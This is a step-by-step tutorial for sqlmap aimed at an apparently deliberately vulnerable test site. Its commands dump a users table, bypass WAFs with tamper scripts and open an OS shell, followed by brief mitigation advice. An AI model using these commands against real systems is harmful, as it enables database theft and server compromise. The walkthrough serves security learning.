SQLMap SQL Injection Exploitation: Step-by-Step Guide

Introduction

SQLMap is an automated tool designed to detect and exploit SQL injection vulnerabilities in database systems.

Step 1: Installing SQLMap

On Kali Linux (Pre-installed):

```
sqlmap --version
```

If not installed:

```
sudo apt update && sudo apt install sqlmap
```

On Windows, download from GitHub and run using python sqlmap.py.

On macOS:

```
brew install sqlmap
```

Step 2: Identifying a Vulnerable URL

Example URL:

http://testphp.vulnweb.com/artists.php?artist=1

To check vulnerability, append a single quote (') at the end:

http://testphp.vulnweb.com/artists.php?artist=1'

Step 3: Basic SQLMap Command

To check for SQL Injection:

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
```

Step 4: Extracting Database Names

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
```

Step 5: Extracting Tables

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables
```

Step 6: Extracting Columns

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns
```

Step 7: Extracting Data

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump
```

Step 8: Bypassing WAFs

Use tamper scripts to bypass WAF:

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --tamper=space2comment
```

Step 9: Gaining Shell Access

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --os-shell
```

Step 10: Mitigation Strategies

- Use Prepared Statements
- Implement Web Application Firewalls (WAFs)
- Validate User Inputs
- Restrict Database Privileges

Conclusion

SQLMap is a powerful tool for detecting and exploiting SQL Injection vulnerabilities.

Disclaimer: This guide is for educational purposes only. Unauthorized use is illegal.